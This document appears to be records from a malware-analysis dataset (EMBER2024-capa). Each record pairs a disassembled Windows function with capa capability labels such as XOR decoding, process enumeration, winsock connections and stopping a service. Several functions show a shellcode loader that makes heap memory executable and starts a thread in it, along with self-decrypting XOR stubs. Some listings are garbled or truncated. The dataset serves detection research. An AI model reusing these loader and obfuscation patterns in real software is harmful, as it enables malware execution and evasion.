joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409800
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
or esi, 0xffffffff
or eax, 0xffffffff
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov edx, dword [0x40c4fc]
add edx, 0x18
cmp dword [edx], 0xffffffff
je 0x409928
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x409920
mov ecx, dword [edx + 8]
sub dword [ebp + 0x10], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [edx + 0xc]
test edx, edx
jne 0x409851
jmp 0x409928
mov cl, byte [edx]
sub cl, 0x3c
jne 0x40985f
jmp 0x40991e
sub cl, 3
jne 0x409879
inc edx
mov dword [ebp - 0xc], edx
movzx ecx, byte [edx]
inc ecx
add edx, ecx
mov byte [ebp - 0x25], 1
jmp 0x409919
inc cl
jne 0x40988d
movzx ecx, word [edx + 1]
add esi, ecx
add edx, 3
jmp 0x409919
inc cl
jne 0x4098a1
movzx ecx, word [edx + 1]
add esi, ecx
mov ecx, dword [edx + 3]
add eax, ecx
add edx, 7
jmp 0x4098b4
movzx ecx, byte [edx]
shr ecx, 6
add esi, ecx
mov cl, byte [edx]
and cl, 0x3f
movzx ecx, cl
add eax, ecx
inc edx
cmp eax, dword [ebp + 0x10]
jne 0x4098bf
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
cmp eax, dword [ebp + 0x10]
jl 0x40990f
sub eax, dword [ebp + 0x10]
cmp eax, 0xa
jle 0x4098d2
cmp byte [ebp - 0x25], 0
jne 0x40990d
mov eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov eax, dword [ebp + 0xc]
mov byte [eax], cl
xor edx, edx
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp eax, edx
jle 0x4098fa
inc edx
mov eax, dword [ebp - 0xc]
mov cl, byte [edx + eax]
xor cl, 0xaa
mov eax, dword [ebp + 0xc]
mov byte [edx + eax], cl
jmp 0x4098de
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
jmp 0x40992a
jmp 0x40991e
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x25], 0
jmp 0x409851
jmp 0x409928
add edx, 0x10
jmp 0x409824
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x43c17d
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x37
dec esp
mov al, 0x35
sub dh, al
sub byte [ebp - 0x45], bl
mov cl, 0xf4
add dword [edi], ecx
adc al, 0x50
adc byte fs:[ecx + 0x6c81760], al
adc ebp, dword [ebp - 0x5a00b52f]
sbb eax, 0x205f1f61
push ds
adc al, 0xbe
push cs
aaa
sbb eax, 0xffb60aa2
sbb al, byte [esi + 0x7442c37]
pop ss
sbb ebx, dword [0x80572082]
test edx, eax
sahf
das
invalid
Function at 0x401028
Capabilities:
Inspect load icon resource

Disassembly:
jmp 0x402730
push 0xffffffffffffffff
push 0x405315
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
push 0x66
mov dword [esp + 0x18], esi
call sub.MFC42.DLL_CDialog::CDialog
lea edi, [esi + 0x60]
mov dword [esp + 0x1c], 0
mov ecx, edi
call sub.MFC42.DLL_CWnd::CWnd
mov dword [edi], 0x407428
lea edi, [esi + 0xa0]
mov byte [esp + 0x1c], 1
mov ecx, edi
call fcn.004039aa
lea ebx, [esi + 0xa4]
mov byte [esp + 0x1c], 2
mov ecx, ebx
call fcn.004039aa
lea ebp, [esi + 0xa8]
mov byte [esp + 0x1c], 3
mov ecx, ebp
call fcn.004039aa
lea ecx, [esi + 0xac]
mov byte [esp + 0x1c], 4
call fcn.004039aa
push 0x408f30
mov ecx, edi
mov byte [esp + 0x20], 5
mov dword [esi], 0x407324
call fcn.00403bde
push str.11111
mov ecx, ebx
call fcn.00403bde
push str.87951235
mov ecx, ebp
call fcn.00403bde
push str.ware
lea ecx, [esi + 0xac]
call fcn.00403bde
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x550
mov dword [esi + 0xb0], eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0x24], eax
test eax, eax
mov byte [esp + 0x1c], 6
je 0x402840
push esi
mov ecx, eax
call fcn.004010b4
jmp 0x402842
xor eax, eax
mov ecx, dword [esp + 0x14]
mov dword [esi + 0xb4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x401032
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x4013d0
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x40701c
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret
Function at 0x40105a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
jmp 0x401550
sub esp, 0x28
lea eax, [esp]
push esi
push edi
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [0x408f08]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x401592
or al, 1
mov byte [0x408f08], al
call esi
mov dword [0x408f04], eax
cmp dword [0x408f14], 8
jle 0x4015d0
mov dword [0x408f14], 0
call esi
mov ecx, dword [0x408f04]
mov edx, eax
sub edx, ecx
mov dword [0x408f04], eax
mov dword [esp + 0xc], edx
fild dword [esp + 0xc]
fmul dword [0x407024]
fdivr dword [0x407020]
fstp dword [0x408f00]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.worinimahuorong
call edi
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x4da78
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x401627
pop edi
pop esi
add esp, 0x28
ret
push ebx
push ebp
push str.worinimahuorong1
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.worinimahuorong2
mov dword [esp + 0x18], eax
call edi
push str.CreateThread
push str.KERNEL32.dll
call ebx
push eax
call ebp
lea ecx, [esp + 0x18]
push ecx
push 0x40
push 0x4da78
push esi
call dword [esp + 0x24]
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x28
ret

Function at 0x401087
Capabilities:
Enumerate processes

Disassembly:
jmp 0x402d00
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402d6b
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.MSVCRT.dll__mbsicmp]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x402d67
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x402d6b
lea eax, [esp + 0x34]
push edi
push eax
call ebx
add esp, 8
test eax, eax
jne 0x402d49
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x40108c
Capabilities:
Enumerate threads

Disassembly:
jmp 0x402ad0
push 0xffffffffffffffff
push 0x405348
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov al, byte [esp + 0x44]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0xc], ebx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
push ebx
push 4
mov dword [esp + 0x4c], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x20]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x28], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x402b58
mov edi, dword [esp + 0x50]
cmp dword [esp + 0x2c], edi
jne 0x402b49
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push 1
push eax
lea ecx, [esp + 0x1c]
call fcn.00401050
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x402b2e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x14]
mov dl, byte [esp + 0x10]
cmp ecx, ebx
mov byte [esi], dl
jne 0x402b75
xor eax, eax
jmp 0x402b7e
mov eax, dword [esp + 0x18]
sub eax, ecx
sar eax, 2
cmp eax, ebx
jge 0x402b84
xor eax, eax
shl eax, 2
push eax
call sub.MFC42.DLL_operatornew
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
add esp, 4
cmp ecx, edx
mov dword [esi + 4], eax
je 0x402bb5
cmp eax, ebx
je 0x402ba7
mov edi, dword [ecx]
mov dword [eax], edi
add ecx, 4
add eax, 4
cmp ecx, edx
jne 0x402b9f
mov ecx, dword [esp + 0x14]
push ecx
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x40]
add esp, 4
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x4010d2
Capabilities:
Create thread
Link many functions at runtime
Resolve dns

Disassembly:
jmp 0x401880
mov eax, dword [0x408f0c]
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.socket
mov edi, ecx
push eax
call esi
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x4018b4
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
push ebp
mov ecx, dword [0x408f0c]
push str.htons
push ecx
call esi
mov edx, dword [esp + 0x24]
mov ebx, eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
mov word [esp + 0x14], 2
call ebx
mov word [esp + 0x12], ax
mov ecx, dword [ebp + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x408f0c]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [edi + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x40194b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ResetEvent
push str.KERNEL32.dll
call ebx
push eax
call esi
mov edx, dword [edi + 0xc]
push edx
call eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call eax
jmp 0x4018b6
push 0
push 0
push edi
push 0x4010eb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x40f8e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40f905
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [eax]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40f926
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x40f928
xor eax, eax
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x40f9a6
jg 0x40f93b
test esi, esi
je 0x40f9a6
test ecx, ecx
jl 0x40f989
jg 0x40f945
test eax, eax
je 0x40f989
cmp edi, ecx
jg 0x40f957
jl 0x40f94f
cmp esi, eax
jae 0x40f957
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [ebp - 8]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x40f9a6
jg 0x40f98c
test esi, esi
je 0x40f9a6
jmp 0x40f98c
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x40f9a6
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4142fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x41430c
pop dword [ebp - 0x30]
mov eax, 0x41430c
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x36e5a161
sub dword [ebp - 0x40], 0xe8935c16
mov dword [ebp - 0x3c], 0xa58ef909
sub dword [ebp - 0x3c], 0x735bacc4
mov dword [ebp - 0x38], 0x4d34ab26
add dword [ebp - 0x38], 0xff179908
mov dword [ebp - 0x34], 0xde673dbb
sub dword [ebp - 0x34], 0xde673dbb
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x2d01b56b
sub dword [ebp - 0x40], 0xb88f4c15
mov dword [ebp - 0x3c], 0x1ce8694b
add dword [ebp - 0x3c], 0x2483f82a
mov dword [ebp - 0x38], 0x42a3a1a6
add dword [ebp - 0x38], 0x20cbcac6
mov dword [ebp - 0x34], 0x23c07fc4
sub dword [ebp - 0x34], 0x23c07fc4
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x58564725
sub eax, 0x5814d6b1
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3e730
push 0
call eax
mov ecx, 0xd3174eea
add ecx, 0x2ce905d2
xor edi, edi
add edi, eax
mov edx, 0x42b800
add edx, dword [ebp - 0x30]
mov esi, 0x25d453da
xor dword [ebp - 0x28], 0x6c3fb2d2
mov ebx, dword [edx]
add dword [ebp - 0x14], 0x6c5d6f8a
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 0x28], 0xbbd389e7
add edi, 0x7119d0a8
add edi, 0x8ee62f5c
add edx, 0xc28012b0
add edx, 0x3d7fed54
loop 0x41441a
add eax, 0x65b25b95
sub eax, 0x65b115d2
mov ebx, eax
add eax, 0x21f60406
add eax, 0xde09fbff
mov ecx, 0xd3de7e29
sub ecx, 0xd39e7e29
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x111fe14
Capabilities:
Encode data using xor

Disassembly:
jmp 0x111fe1e
pushal
call 0x111fe24
pop ebp
sub ebp, 0x10
sub ebp, 0xd1fe14
jmp 0x111fe3a
mov eax, 0xd1fe14
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c0
mov edx, 0x89cc397b
xor byte [eax], dl
inc eax
dec ecx
jne 0x111fe51
jmp 0x111fe64
invalid

Function at 0x401394
Capabilities:
Contain obfuscated stackstrings

Disassembly:
out dx, al
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], pe_nt_image_headers32
mov byte [ebp - 0x47], 0xa7
call fcn.00401106
test dword [edx], edi
inc ebp
pop esp
lea eax, [ebp - 0x58]
push eax
call fcn.00401116
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004010cb
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4013f4

Function at 0x40167b
Capabilities:
Inspect section memory permissions

Disassembly:
inc edx
aaa
mov al, 0x8b
jle 0x4016be
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x4018f5
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x4016ab
cmp dword [eax + 0xc], ebx
je 0x40174e
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00401106
dec ecx
pop es
dec dword [ecx + 7]
xor eax, 0xc5d39b4
jne 0x4016da
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4018f5
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x4016ee
mov dword [ebp + 0x10], edi
jmp 0x4016f3
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00401106
cdq
mov byte [esi + 0x76], al
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x40173c
invalid
invalid

Function at 0x40340d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push ebx
mov ebx, eax
push esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
movzx eax, word [esi + 0x14]
push edi
lea edi, [eax + esi + 0x18]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x403454
push 7
push str..custom
push edi
call fcn.0040167b
add esp, 0xc
test eax, eax
je 0x40345b
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add edi, 0x28
cmp dword [ebp - 4], eax
jl 0x403431
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [edi + 0xc]
mov esi, dword [eax + ebx]
lea edi, [eax + ebx + 8]
mov ebx, dword [eax + ebx + 4]
push esi
call fcn.0040379a
and dword [ebp - 8], 0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 8]
push ecx
push 1
push 5
push edi
lea ecx, [ebp - 0xc]
push ecx
add edi, 5
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], 0x4032ca
mov dword [ebp - 0x14], 0x4032d5
call fcn.00403208
add esp, 0x28
test eax, eax
je 0x4034bb
push dword [ebp - 4]
call fcn.004037b1
pop ecx
jmp 0x403454
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov eax, dword [ebp - 4]
jmp 0x403456
Function at 0x10012a1c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100259d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [fcn.10007dde]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.1000fec1
mov dword [ebp - 0x14], eax
cmp dword [0x1002890c], edi
jne 0x10012b0d
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10012a9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10012bed
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10012bed
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10012bed
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1002890c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10028910], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10028914], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1002891c], eax
test eax, eax
je 0x10012b0a
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10028918], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10012b32
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10012b25
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x10012b47
push 4
pop eax
jmp 0x10012bef
cmp dword [ebp - 0x14], edi
je 0x10012b47
push dword [0x1002890c]
call dword [fcn.10007de2]
push 3
jmp 0x10012b2c
mov eax, dword [0x10028918]
mov ebx, dword [fcn.10007de2]
cmp eax, esi
je 0x10012ba5
cmp dword [0x1002891c], esi
je 0x10012ba5
push eax
call ebx
push dword [0x1002891c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10012ba5
test eax, eax
je 0x10012ba5
call ecx
test eax, eax
je 0x10012b9a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10012b9a
test byte [ebp - 8], 1
jne 0x10012ba5
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10012bd5
mov eax, dword [0x10028910]
cmp eax, esi
je 0x10012bd2
push eax
call ebx
test eax, eax
je 0x10012bd2
call eax
mov edi, eax
test edi, edi
je 0x10012bd2
mov eax, dword [0x10028914]
cmp eax, esi
je 0x10012bd2
push eax
call ebx
test eax, eax
je 0x10012bd2
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1002890c]
call ebx
test eax, eax
je 0x10012bed
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x10012bef
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b2f7
leave
ret
Function at 0x10014ce0
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10014e03
push 0x20000000
push str.Interenet_Optimizer
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10014dd3
lea edx, [ebp - 0x44]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x40], 1
je 0x10014d5e
cmp dword [ebp - 0x40], 3
jne 0x10014d67
mov dword [ebp - 4], 0
jmp 0x10014dc7
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
lea edx, [ebp - 0x44]
push edx
push 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp dword [ebp - 0x40], 1
je 0x10014d9a
cmp dword [ebp - 0x40], 3
jne 0x10014da3
mov dword [ebp - 4], 0
jmp 0x10014dc7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10014dba
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
jmp 0x10014dc1
mov dword [ebp - 0x14], 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10014df7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10014dea
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
jmp 0x10014df1
mov dword [ebp - 0x1c], 0xffffffff
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10014e27
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10014e1a
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
jmp 0x10014e21
mov dword [ebp - 0x24], 0xffffffff
mov edx, dword [ebp - 0x24]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret